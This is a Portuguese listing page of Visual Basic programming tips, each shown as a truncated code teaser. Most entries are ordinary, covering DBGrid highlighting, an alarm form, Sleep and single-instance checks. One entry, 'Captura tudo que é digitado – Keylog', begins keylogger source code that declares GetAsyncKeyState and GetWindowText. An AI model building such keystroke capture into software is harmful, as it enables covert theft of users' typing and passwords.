Destacando uma linha em um DBGrid

Para destacar uma linha no controle DBGrid, adicione o registro corrente à SellBookmarks Collection: Private Sub DBGrid_RowColChange _ (LatRow As Variant, ByVal LasRow As Integer) If Data1.RecordSet.RecordCount Then DBGrid.SelBookmarks.Add _ Data1.RecordSet.Bookmark End If End Sub

Continuar lendo »

Alarme

Alarme em Visual Basic Option Explicit Dim AlarmTime Const conMinimized = 1 Private Sub Form_Click() AlarmTime = InputBox(“Digite a hora”, “VB Alarme”, Hora de Alarme) If AlarmTime = “” Then Exit Sub If Not IsDate(AlarmTime) Then MsgBox “Valor digitado inválido” Else ‘ String válida, AlarmTime = CDate(AlarmTime) ‘ Guarda o valor da hora em AlarmTime.

Continuar lendo »

Colocando a aplicação em espera

Colocando a aplicação em espera Em muitos casos é necessário colocar uma aplicação em VB em estado de espera ( inativa por um determinado período de tempo). O controle Timer, ajuda, mas só permite mais que 60 segundos. Muitas vezes, necessitamos de um tempo menor. A função do Windows Sleep permite fazer isto. Utilize o

Continuar lendo »

Captura tudo que é digitado – Keylog

Captura tudo que é digitado – Keylog Dim a(15) As String Private CurrentApp_hWnd Private Declare Function GetAsyncKeyState Lib “user32” (ByVal vKey As Long) As Integer Private Declare Function GetWindowText Lib “user32.dll” Alias “GetWindowTextA” (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Private Declare Function GetWindowTextLength Lib “user32.dll” Alias “GetWindowTextLengthA”

Continuar lendo »

Como evitar que um programa seja executado 2 vezes pelo usuário

Como evitar que um programa seja executado 2 vezes pelo usuário Use o objeto App do VB. Ele contém as informações sobre a aplicação. Entre elas, a propriedade PrevInstance que pode conter 2 valores: True – Se existe outra instância da aplicação sendo executada em outra janela ou False – Caso contrário Coloque então no

Continuar lendo »
Pages:«123456789...34»